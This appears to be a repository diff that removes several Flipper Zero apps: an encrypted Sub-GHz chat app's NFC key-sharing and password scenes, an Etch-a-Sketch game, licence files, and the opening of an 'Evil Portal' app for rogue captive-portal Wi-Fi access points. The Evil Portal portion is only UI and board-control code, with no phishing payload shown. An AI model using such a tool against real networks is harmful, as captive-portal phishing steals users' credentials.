struct ReplayDictNfcReaderContext* ctx = (struct ReplayDictNfcReaderContext*)context;
if(ctx->cur + sizeof(struct ReplayDictNfcEntry) > ctx->max) {
return false;
}
struct ReplayDictNfcEntry* entry = (struct ReplayDictNfcEntry*)ctx->cur;
*run_id = entry->run_id;
*counter = __ntohl(entry->counter);
ctx->cur += sizeof(struct ReplayDictNfcEntry);
return true;
}
static bool key_read_popup_handle_key_read(ESubGhzChatState* state) {
NfcDeviceData* dev_data = state->nfc_dev_data;
/* check for config pages */
if(dev_data->mf_ul_data.data_read < NFC_CONFIG_PAGES * 4) {
return false;
}
size_t data_read = dev_data->mf_ul_data.data_read - (NFC_CONFIG_PAGES * 4);
/* check if key was transmitted */
if(data_read < KEY_BITS / 8) {
return false;
}
/* initiate the crypto context */
bool ret = crypto_ctx_set_key(
state->crypto_ctx, dev_data->mf_ul_data.data, state->name_prefix, furi_get_tick());
/* cleanup */
crypto_explicit_bzero(dev_data->mf_ul_data.data, KEY_BITS / 8);
if(!ret) {
crypto_ctx_clear(state->crypto_ctx);
return false;
}
/* read the frequency */
if(data_read >= (KEY_BITS / 8) + sizeof(struct FreqNfcEntry)) {
struct FreqNfcEntry* freq_entry =
(struct FreqNfcEntry*)(dev_data->mf_ul_data.data + (KEY_BITS / 8));
state->frequency = __ntohl(freq_entry->frequency);
}
/* read the replay dict */
struct ReplayDictNfcReaderContext rd_ctx = {
.cur = dev_data->mf_ul_data.data + (KEY_BITS / 8) + sizeof(struct FreqNfcEntry),
.max =
dev_data->mf_ul_data.data + (data_read < NFC_MAX_BYTES ? data_read : NFC_MAX_BYTES)};
crypto_ctx_read_replay_dict(state->crypto_ctx, replay_dict_nfc_reader, &rd_ctx);
/* set encrypted flag */
state->encrypted = true;
return true;
}
static void key_read_popup_set_state(ESubGhzChatState* state, KeyReadPopupState new_state) {
uint32_t cur_state =
scene_manager_get_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
if(cur_state == new_state) {
return;
}
if(new_state == KeyReadPopupState_Detecting) {
popup_reset(state->nfc_popup);
popup_disable_timeout(state->nfc_popup);
popup_set_text(state->nfc_popup, "Tap Flipper\n to sender", 97, 24, AlignCenter, AlignTop);
popup_set_icon(state->nfc_popup, 0, 8, &I_NFC_manual_60x50);
notification_message(state->notification, &sequence_blink_start_cyan);
} else if(new_state == KeyReadPopupState_Reading) {
popup_reset(state->nfc_popup);
popup_disable_timeout(state->nfc_popup);
popup_set_header(
state->nfc_popup,
"Reading key\nDon't "
"move...",
85,
24,
AlignCenter,
AlignTop);
popup_set_icon(state->nfc_popup, 12, 23, &I_Loading_24);
notification_message(state->notification, &sequence_blink_start_yellow);
} else if(new_state == KeyReadPopupState_Fail) {
nfc_worker_stop(state->nfc_worker);
popup_reset(state->nfc_popup);
popup_set_header(state->nfc_popup, "Failure!", 64, 2, AlignCenter, AlignTop);
popup_set_text(state->nfc_popup, "Failed\nto read\nkey.", 78, 16, AlignLeft, AlignTop);
popup_set_icon(state->nfc_popup, 21, 13, &I_Cry_dolph_55x52);
popup_set_timeout(state->nfc_popup, KEY_READ_POPUP_MS);
popup_set_context(state->nfc_popup, state);
popup_set_callback(state->nfc_popup, key_read_popup_timeout_cb);
popup_enable_timeout(state->nfc_popup);
notification_message(state->notification, &sequence_blink_stop);
} else if(new_state == KeyReadPopupState_Success) {
nfc_worker_stop(state->nfc_worker);
popup_reset(state->nfc_popup);
popup_set_header(state->nfc_popup, "Key\nread!", 13, 22, AlignLeft, AlignBottom);
popup_set_icon(state->nfc_popup, 32, 5, &I_DolphinNice_96x59);
popup_set_timeout(state->nfc_popup, KEY_READ_POPUP_MS);
popup_set_context(state->nfc_popup, state);
popup_set_callback(state->nfc_popup, key_read_popup_timeout_cb);
popup_enable_timeout(state->nfc_popup);
notification_message(state->notification, &sequence_success);
notification_message(state->notification, &sequence_blink_stop);
}
scene_manager_set_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup, new_state);
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
}
/* Prepares the key share read scene. */
void scene_on_enter_key_read_popup(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_read_popup");
furi_assert(context);
ESubGhzChatState* state = context;
key_read_popup_set_state(state, KeyReadPopupState_Detecting);
state->nfc_dev_data->parsed_data = furi_string_alloc();
if(state->nfc_dev_data->parsed_data == NULL) {
/* can't do anything here, crash */
furi_check(0);
}
nfc_worker_start(
state->nfc_worker, NfcWorkerStateRead, state->nfc_dev_data, read_worker_cb, state);
}
/* Handles scene manager events for the key read popup scene. */
bool scene_on_event_key_read_popup(void* context, SceneManagerEvent event) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_read_popup");
furi_assert(context);
ESubGhzChatState* state = context;
bool consumed = false;
switch(event.type) {
case SceneManagerEventTypeCustom:
switch(event.event) {
/* card detected */
case NfcWorkerEventCardDetected:
key_read_popup_set_state(state, KeyReadPopupState_Reading);
consumed = true;
break;
/* no card detected */
case NfcWorkerEventNoCardDetected:
key_read_popup_set_state(state, KeyReadPopupState_Detecting);
consumed = true;
break;
/* key probably read */
case NfcWorkerEventReadMfUltralight:
if(key_read_popup_handle_key_read(state)) {
key_read_popup_set_state(state, KeyReadPopupState_Success);
} else {
key_read_popup_set_state(state, KeyReadPopupState_Fail);
}
consumed = true;
break;
/* close the popup and go back */
case ESubGhzChatEvent_KeyReadPopupFailed:
if(!scene_manager_previous_scene(state->scene_manager)) {
view_dispatcher_stop(state->view_dispatcher);
}
consumed = true;
break;
/* success, go to frequency input */
case ESubGhzChatEvent_KeyReadPopupSucceeded:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
consumed = true;
break;
/* something else happend, treat as failure */
default:
key_read_popup_set_state(state, KeyReadPopupState_Fail);
consumed = true;
break;
}
break;
default:
consumed = false;
break;
}
return consumed;
}
/* Cleans up the key read popup scene. */
void scene_on_exit_key_read_popup(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_read_popup");
furi_assert(context);
ESubGhzChatState* state = context;
popup_reset(state->nfc_popup);
scene_manager_set_scene_state(
state->scene_manager, ESubGhzChatScene_KeyReadPopup, KeyReadPopupState_Idle);
notification_message(state->notification, &sequence_blink_stop);
nfc_worker_stop(state->nfc_worker);
crypto_explicit_bzero(state->nfc_dev_data->mf_ul_data.data, KEY_BITS / 8);
if(state->nfc_dev_data->parsed_data != NULL) {
furi_string_free(state->nfc_dev_data->parsed_data);
}
memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
}

View File

@@ -1,124 +0,0 @@
#include "../esubghz_chat_i.h"
#include "../helpers/nfc_helpers.h"
struct ReplayDictNfcWriterContext {
uint8_t* cur;
uint8_t* max;
};
static bool replay_dict_nfc_writer(uint64_t run_id, uint32_t counter, void* context) {
struct ReplayDictNfcWriterContext* ctx = (struct ReplayDictNfcWriterContext*)context;
struct ReplayDictNfcEntry entry = {.run_id = run_id, .counter = __htonl(counter), .unused = 0};
if(ctx->cur + sizeof(entry) > ctx->max) {
return false;
}
memcpy(ctx->cur, &entry, sizeof(entry));
ctx->cur += sizeof(entry);
return true;
}
static void prepare_nfc_dev_data(ESubGhzChatState* state) {
NfcDeviceData* dev_data = state->nfc_dev_data;
dev_data->protocol = NfcDeviceProtocolMifareUl;
furi_hal_random_fill_buf(dev_data->nfc_data.uid, 7);
dev_data->nfc_data.uid_len = 7;
dev_data->nfc_data.atqa[0] = 0x44;
dev_data->nfc_data.atqa[1] = 0x00;
dev_data->nfc_data.sak = 0x00;
dev_data->mf_ul_data.type = MfUltralightTypeNTAG215;
dev_data->mf_ul_data.version.header = 0x00;
dev_data->mf_ul_data.version.vendor_id = 0x04;
dev_data->mf_ul_data.version.prod_type = 0x04;
dev_data->mf_ul_data.version.prod_subtype = 0x02;
dev_data->mf_ul_data.version.prod_ver_major = 0x01;
dev_data->mf_ul_data.version.prod_ver_minor = 0x00;
dev_data->mf_ul_data.version.storage_size = 0x11;
dev_data->mf_ul_data.version.protocol_type = 0x03;
size_t data_written = 0;
/* write key */
crypto_ctx_get_key(state->crypto_ctx, dev_data->mf_ul_data.data);
data_written += (KEY_BITS / 8);
/* write frequency */
struct FreqNfcEntry* freq_entry =
(struct FreqNfcEntry*)(dev_data->mf_ul_data.data + data_written);
freq_entry->frequency = __htonl(state->frequency);
freq_entry->unused1 = 0;
freq_entry->unused2 = 0;
freq_entry->unused3 = 0;
data_written += sizeof(struct FreqNfcEntry);
/* write the replay dict */
struct ReplayDictNfcWriterContext wr_ctx = {
.cur = dev_data->mf_ul_data.data + data_written,
.max = dev_data->mf_ul_data.data + NFC_MAX_BYTES};
size_t n_entries =
crypto_ctx_dump_replay_dict(state->crypto_ctx, replay_dict_nfc_writer, &wr_ctx);
data_written += n_entries * sizeof(struct ReplayDictNfcEntry);
/* calculate size of data, add 16 for config pages */
dev_data->mf_ul_data.data_size = data_written + (NFC_CONFIG_PAGES * 4);
}
/* Prepares the key share popup scene. */
void scene_on_enter_key_share_popup(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_share_popup");
furi_assert(context);
ESubGhzChatState* state = context;
popup_reset(state->nfc_popup);
popup_disable_timeout(state->nfc_popup);
popup_set_header(state->nfc_popup, "Sharing...", 67, 13, AlignLeft, AlignTop);
popup_set_icon(state->nfc_popup, 0, 3, &I_NFC_dolphin_emulation_47x61);
popup_set_text(state->nfc_popup, "Sharing\nKey via\nNFC", 90, 28, AlignCenter, AlignTop);
prepare_nfc_dev_data(state);
nfc_worker_start(
state->nfc_worker, NfcWorkerStateMfUltralightEmulate, state->nfc_dev_data, NULL, NULL);
notification_message(state->notification, &sequence_blink_start_magenta);
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
}
/* Handles scene manager events for the key share popup scene. */
bool scene_on_event_key_share_popup(void* context, SceneManagerEvent event) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_share_popup");
furi_assert(context);
ESubGhzChatState* state = context;
UNUSED(state);
UNUSED(event);
return false;
}
/* Cleans up the key share popup scene. */
void scene_on_exit_key_share_popup(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_share_popup");
furi_assert(context);
ESubGhzChatState* state = context;
popup_reset(state->nfc_popup);
notification_message(state->notification, &sequence_blink_stop);
nfc_worker_stop(state->nfc_worker);
crypto_explicit_bzero(state->nfc_dev_data->mf_ul_data.data, KEY_BITS / 8);
memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
}

View File

@@ -1,109 +0,0 @@
#include "../esubghz_chat_i.h"
/* Sends PassEntered event to scene manager. */
static void pass_input_cb(void* context) {
furi_assert(context);
ESubGhzChatState* state = context;
crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_PassEntered);
}
/* If a password was entered this derives a key from the password using a
* single pass of SHA256 and initiates the AES-GCM context for encryption. If
* the initiation fails, the password is rejected. */
static bool pass_input_validator(const char* text, FuriString* error, void* context) {
furi_assert(text);
furi_assert(error);
furi_assert(context);
ESubGhzChatState* state = context;
if(strlen(text) == 0) {
furi_string_printf(error, "Enter a\npassword!");
return false;
}
unsigned char key[KEY_BITS / 8];
/* derive a key from the password */
sha256((unsigned char*)text, strlen(text), key);
/* initiate the crypto context */
bool ret = crypto_ctx_set_key(state->crypto_ctx, key, state->name_prefix, furi_get_tick());
/* cleanup */
crypto_explicit_bzero(key, sizeof(key));
if(!ret) {
crypto_ctx_clear(state->crypto_ctx);
furi_string_printf(error, "Failed to\nset key!");
return false;
}
state->encrypted = true;
return true;
}
/* Prepares the password input scene. */
void scene_on_enter_pass_input(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_pass_input");
furi_assert(context);
ESubGhzChatState* state = context;
state->text_input_store[0] = 0;
text_input_reset(state->text_input);
text_input_set_result_callback(
state->text_input,
pass_input_cb,
state,
state->text_input_store,
sizeof(state->text_input_store),
true);
text_input_set_validator(state->text_input, pass_input_validator, state);
text_input_set_header_text(state->text_input, "Password");
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
}
/* Handles scene manager events for the password input scene. */
bool scene_on_event_pass_input(void* context, SceneManagerEvent event) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_pass_input");
furi_assert(context);
ESubGhzChatState* state = context;
bool consumed = false;
switch(event.type) {
case SceneManagerEventTypeCustom:
switch(event.event) {
/* switch to frequency input scene */
case ESubGhzChatEvent_PassEntered:
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
consumed = true;
break;
}
break;
default:
consumed = false;
break;
}
return consumed;
}
/* Cleans up the password input scene. */
void scene_on_exit_pass_input(void* context) {
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_pass_input");
furi_assert(context);
ESubGhzChatState* state = context;
text_input_reset(state->text_input);
crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
}

View File

@@ -1,30 +0,0 @@
#include "esubghz_chat_scene.h"
// Generate scene on_enter handlers array
#define ADD_SCENE(prefix, name, id) scene_on_enter_##name,
void (*const esubghz_chat_scene_on_enter_handlers[])(void*) = {
#include "esubghz_chat_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_event handlers array
#define ADD_SCENE(prefix, name, id) scene_on_event_##name,
bool (*const esubghz_chat_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
#include "esubghz_chat_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_exit handlers array
#define ADD_SCENE(prefix, name, id) scene_on_exit_##name,
void (*const esubghz_chat_scene_on_exit_handlers[])(void* context) = {
#include "esubghz_chat_scene_config.h"
};
#undef ADD_SCENE
// Initialize scene handlers configuration structure
const SceneManagerHandlers esubghz_chat_scene_event_handlers = {
.on_enter_handlers = esubghz_chat_scene_on_enter_handlers,
.on_event_handlers = esubghz_chat_scene_on_event_handlers,
.on_exit_handlers = esubghz_chat_scene_on_exit_handlers,
.scene_num = ESubGhzChatScene_MAX,
};

View File

@@ -1,29 +0,0 @@
#pragma once
#include <gui/scene_manager.h>
// Generate scene id and total number
#define ADD_SCENE(prefix, name, id) ESubGhzChatScene_##id,
typedef enum {
#include "esubghz_chat_scene_config.h"
ESubGhzChatScene_MAX
} ESubGhzChatScene;
#undef ADD_SCENE
extern const SceneManagerHandlers esubghz_chat_scene_event_handlers;
// Generate scene on_enter handlers declaration
#define ADD_SCENE(prefix, name, id) void scene_on_enter_##name(void*);
#include "esubghz_chat_scene_config.h"
#undef ADD_SCENE
// Generate scene on_event handlers declaration
#define ADD_SCENE(prefix, name, id) \
bool scene_on_event_##name(void* context, SceneManagerEvent event);
#include "esubghz_chat_scene_config.h"
#undef ADD_SCENE
// Generate scene on_exit handlers declaration
#define ADD_SCENE(prefix, name, id) void scene_on_exit_##name(void* context);
#include "esubghz_chat_scene_config.h"
#undef ADD_SCENE

View File

@@ -1,9 +0,0 @@
ADD_SCENE(esubghz_chat, freq_input, FreqInput)
ADD_SCENE(esubghz_chat, key_menu, KeyMenu)
ADD_SCENE(esubghz_chat, pass_input, PassInput)
ADD_SCENE(esubghz_chat, hex_key_input, HexKeyInput)
ADD_SCENE(esubghz_chat, key_read_popup, KeyReadPopup)
ADD_SCENE(esubghz_chat, chat_input, ChatInput)
ADD_SCENE(esubghz_chat, chat_box, ChatBox)
ADD_SCENE(esubghz_chat, key_display, KeyDisplay)
ADD_SCENE(esubghz_chat, key_share_popup, KeySharePopup)

View File

@@ -1,674 +0,0 @@
GNU GENERAL PUBLIC LICENSE
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END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.

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@@ -1,16 +0,0 @@
App(
appid="etch",
name="Etch a Sketch",
apptype=FlipperAppType.EXTERNAL,
entry_point="etch_a_sketch_app",
cdefines=["APP_ETCH_A_SKETCH"],
requires=["gui"],
stack_size=2 * 1024,
fap_icon="etch-a-sketch-icon.png",
fap_category="Media",
fap_icon_assets="assets",
fap_author="@SimplyMinimal",
fap_weburl="https://github.com/SimplyMinimal/FlipperZero-Etch-A-Sketch",
fap_version="1.0",
fap_description="Turn the Flipper Zero into an Etch A Sketch",
)

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@@ -1,275 +0,0 @@
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/elements.h>
#include <gui/icon.h>
#include <input/input.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <stdbool.h> // Header-file for boolean data-type.
#include <stdio.h>
#include <string.h>
#include "etch_icons.h"
#include <assets_icons.h>
#define WIDTH 64
#define HEIGHT 32
const int brush_size = 2;
typedef struct selected_position {
int x;
int y;
} selected_position;
typedef struct {
FuriMutex* mutex;
selected_position selected;
bool board[64][32];
bool isDrawing;
bool showWelcome;
} EtchData;
// Sequence to indicate that drawing is enabled.
const NotificationSequence sequence_begin_draw = {
&message_display_backlight_on,
// Vibrate to indicate that drawing is enabled.
&message_vibro_on,
&message_note_g5,
&message_delay_50,
&message_note_c6,
&message_delay_50,
&message_note_e5,
&message_vibro_off,
&message_sound_off,
NULL,
};
// sequence to indicate that drawing is disabled
const NotificationSequence sequence_end_draw = {
&message_red_0,
// Indicate that drawing is disabled.
&message_vibro_on,
&message_note_g5,
&message_delay_50,
&message_note_e5,
&message_delay_50,
&message_vibro_off,
&message_sound_off,
&message_do_not_reset,
NULL,
};
// Indicate that drawing is enabled.
const NotificationSequence sequence_draw_enabled = {
&message_red_255,
&message_do_not_reset,
NULL,
};
// Indicate that drawing is disabled.
const NotificationSequence sequence_draw_disabled = {
&message_red_0,
&message_do_not_reset,
NULL,
};
const NotificationSequence sequence_cleanup = {
&message_red_0,
&message_green_0,
&message_blue_0,
&message_sound_off,
&message_vibro_off,
NULL,
};
void etch_draw_callback(Canvas* canvas, void* ctx) {
furi_assert(ctx);
const EtchData* etch_state = ctx;
furi_mutex_acquire(etch_state->mutex, FuriWaitForever);
canvas_clear(canvas);
// Show Welcome Message
if(etch_state->showWelcome) {
// Draw Etch A Sketch frame
canvas_draw_frame(canvas, 5, 3, 119, 55); // Border
canvas_draw_icon(canvas, 8, 50, &I_Ok_btn_pressed_13x13); // Left Knob
canvas_draw_icon(canvas, 107, 50, &I_Ok_btn_pressed_13x13); // Right Knob
// Draw Etch A Sketch text banner
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 36, 15, "Etch A Sketch");
// Draw Etch A Sketch instructions "Hold Back to clear"
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 31, 26, "* Hold ");
canvas_draw_icon(canvas, 59, 18, &I_Pin_back_arrow_10x8);
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 72, 26, "to clear");
// Draw Etch A Sketch instructions "Hold OK button to draw"
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 31, 37, "* Hold");
canvas_draw_icon(canvas, 61, 30, &I_ButtonCenter_7x7);
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 72, 37, "to draw");
}
canvas_set_color(canvas, ColorBlack);
//draw the canvas(64x32) on screen(144x64) using brush_size*brush_size tiles
for(int y = 0; y < 32; y++) {
for(int x = 0; x < 64; x++) {
if(etch_state->board[x][y]) {
canvas_draw_box(canvas, x * brush_size, y * brush_size, 2, 2);
}
}
}
//draw cursor as a brush_size by brush_size black box
canvas_set_color(canvas, ColorBlack);
canvas_draw_box(
canvas,
etch_state->selected.x * brush_size,
etch_state->selected.y * brush_size,
brush_size,
brush_size);
//release the mutex
furi_mutex_release(etch_state->mutex);
}
void etch_input_callback(InputEvent* input_event, void* ctx) {
furi_assert(ctx);
FuriMessageQueue* event_queue = ctx;
furi_message_queue_put(event_queue, input_event, FuriWaitForever);
}
int32_t etch_a_sketch_app(void* p) {
UNUSED(p);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
EtchData* etch_state = malloc(sizeof(EtchData));
etch_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
if(!etch_state->mutex) {
FURI_LOG_E("etch", "cannot create mutex\r\n");
free(etch_state);
return -1;
}
// Configure view port
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, etch_draw_callback, etch_state);
view_port_input_callback_set(view_port, etch_input_callback, event_queue);
// Register view port in GUI
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
InputEvent event;
// Show Welcome Banner
etch_state->showWelcome = true;
while(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk) {
//break out of the loop if the back key is pressed
if(event.key == InputKeyBack && event.type == InputTypeShort) {
break;
}
// Clear
// TODO: Do animation of shaking board
if(event.key == InputKeyBack && event.type == InputTypeLong) {
etch_state->showWelcome = false;
etch_state->board[1][1] = true;
for(int y = 0; y < 32; y++) {
for(int x = 0; x < 64; x++) {
etch_state->board[x][y] = false;
}
}
view_port_update(view_port);
}
// Keep LED on while drawing
if(etch_state->isDrawing) {
notification_message(notification, &sequence_draw_enabled);
} else {
notification_message(notification, &sequence_draw_disabled);
}
// Single Dot Select
if(event.key == InputKeyOk && event.type == InputTypeShort) {
etch_state->board[etch_state->selected.x][etch_state->selected.y] =
!etch_state->board[etch_state->selected.x][etch_state->selected.y];
}
// Start Drawing
if(event.key == InputKeyOk && event.type == InputTypeLong) {
// notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_begin_draw);
notification_message(notification, &sequence_begin_draw);
if(etch_state->isDrawing) {
// We're ending the drawing
notification_message(notification, &sequence_end_draw);
}
etch_state->isDrawing = !etch_state->isDrawing;
etch_state->board[etch_state->selected.x][etch_state->selected.y] = true;
view_port_update(view_port);
}
//check the key pressed and change x and y accordingly
if(event.type == InputTypeShort || event.type == InputTypeRepeat ||
event.type == InputTypeLong) {
switch(event.key) {
case InputKeyUp:
etch_state->selected.y -= 1;
break;
case InputKeyDown:
etch_state->selected.y += 1;
break;
case InputKeyLeft:
etch_state->selected.x -= 1;
break;
case InputKeyRight:
etch_state->selected.x += 1;
break;
default:
break;
}
//check if cursor position is out of bounds and reset it to the closest position
if(etch_state->selected.x < 0) {
etch_state->selected.x = 0;
}
if(etch_state->selected.x > 61) {
etch_state->selected.x = 61;
}
if(etch_state->selected.y < 0) {
etch_state->selected.y = 0;
}
if(etch_state->selected.y > 31) {
etch_state->selected.y = 31;
}
if(etch_state->isDrawing == true) {
etch_state->board[etch_state->selected.x][etch_state->selected.y] = true;
}
view_port_update(view_port);
}
}
notification_message(notification, &sequence_cleanup);
gui_remove_view_port(gui, view_port);
view_port_free(view_port);
furi_mutex_free(etch_state->mutex);
furi_message_queue_free(event_queue);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_GUI);
free(etch_state);
return 0;
}

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@@ -1,21 +0,0 @@
MIT License
Copyright (c) 2023 bigbrodude6119
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

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@@ -1,14 +0,0 @@
App(
appid="evil_portal",
name="[ESP32] Evil Portal",
apptype=FlipperAppType.EXTERNAL,
entry_point="evil_portal_app",
cdefines=["APP_EVIL_PORTAL"],
requires=["gui"],
stack_size=1 * 1024,
fap_author="bigbrodude6119",
fap_description="Create an evil captive portal Wi-Fi access point",
fap_icon_assets="icons",
fap_icon="icons/evil_portal_10px.png",
fap_category="WiFi",
)

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@@ -1,146 +0,0 @@
#include "evil_portal_app_i.h"
#include "helpers/evil_portal_storage.h"
#include <furi.h>
#include <furi_hal.h>
static bool evil_portal_app_custom_event_callback(void* context, uint32_t event) {
furi_assert(context);
Evil_PortalApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
static bool evil_portal_app_back_event_callback(void* context) {
furi_assert(context);
Evil_PortalApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static void evil_portal_app_tick_event_callback(void* context) {
furi_assert(context);
Evil_PortalApp* app = context;
scene_manager_handle_tick_event(app->scene_manager);
}
Evil_PortalApp* evil_portal_app_alloc() {
Evil_PortalApp* app = malloc(sizeof(Evil_PortalApp));
app->sent_html = false;
app->sent_ap = false;
app->sent_reset = false;
app->has_command_queue = false;
app->command_index = 0;
app->portal_logs = furi_string_alloc();
app->dialogs = furi_record_open(RECORD_DIALOGS);
app->file_path = furi_string_alloc();
app->gui = furi_record_open(RECORD_GUI);
app->view_dispatcher = view_dispatcher_alloc();
app->loading = loading_alloc();
app->scene_manager = scene_manager_alloc(&evil_portal_scene_handlers, app);
view_dispatcher_enable_queue(app->view_dispatcher);
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, evil_portal_app_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, evil_portal_app_back_event_callback);
view_dispatcher_set_tick_event_callback(
app->view_dispatcher, evil_portal_app_tick_event_callback, 100);
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
app->view_stack = view_stack_alloc();
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
Evil_PortalAppViewVarItemList,
variable_item_list_get_view(app->var_item_list));
app->text_input = text_input_alloc();
view_dispatcher_add_view(
app->view_dispatcher, Evil_PortalAppViewTextInput, text_input_get_view(app->text_input));
for(int i = 0; i < NUM_MENU_ITEMS; ++i) {
app->selected_option_index[i] = 0;
}
app->text_box = text_box_alloc();
view_dispatcher_add_view(
app->view_dispatcher, Evil_PortalAppViewConsoleOutput, text_box_get_view(app->text_box));
app->text_box_store = furi_string_alloc();
furi_string_reserve(app->text_box_store, EVIL_PORTAL_TEXT_BOX_STORE_SIZE);
scene_manager_next_scene(app->scene_manager, Evil_PortalSceneStart);
return app;
}
void evil_portal_app_free(Evil_PortalApp* app) {
// save latest logs
if(furi_string_utf8_length(app->portal_logs) > 0) {
write_logs(app->portal_logs);
furi_string_free(app->portal_logs);
}
// Send reset event to dev board
evil_portal_uart_tx((uint8_t*)(RESET_CMD), strlen(RESET_CMD));
evil_portal_uart_tx((uint8_t*)("\n"), 1);
furi_assert(app);
// Views
view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewVarItemList);
view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput);
text_box_free(app->text_box);
furi_string_free(app->text_box_store);
text_input_free(app->text_input);
view_stack_free(app->view_stack);
loading_free(app->loading);
// View dispatcher
view_dispatcher_free(app->view_dispatcher);
scene_manager_free(app->scene_manager);
evil_portal_uart_free(app->uart);
// Close records
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_DIALOGS);
furi_string_free(app->file_path);
free(app);
}
int32_t evil_portal_app(void* p) {
UNUSED(p);
Evil_PortalApp* evil_portal_app = evil_portal_app_alloc();
uint8_t attempts = 0;
bool otg_was_enabled = furi_hal_power_is_otg_enabled();
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
furi_delay_ms(200);
evil_portal_app->uart = evil_portal_uart_init(evil_portal_app);
view_dispatcher_run(evil_portal_app->view_dispatcher);
evil_portal_app_free(evil_portal_app);
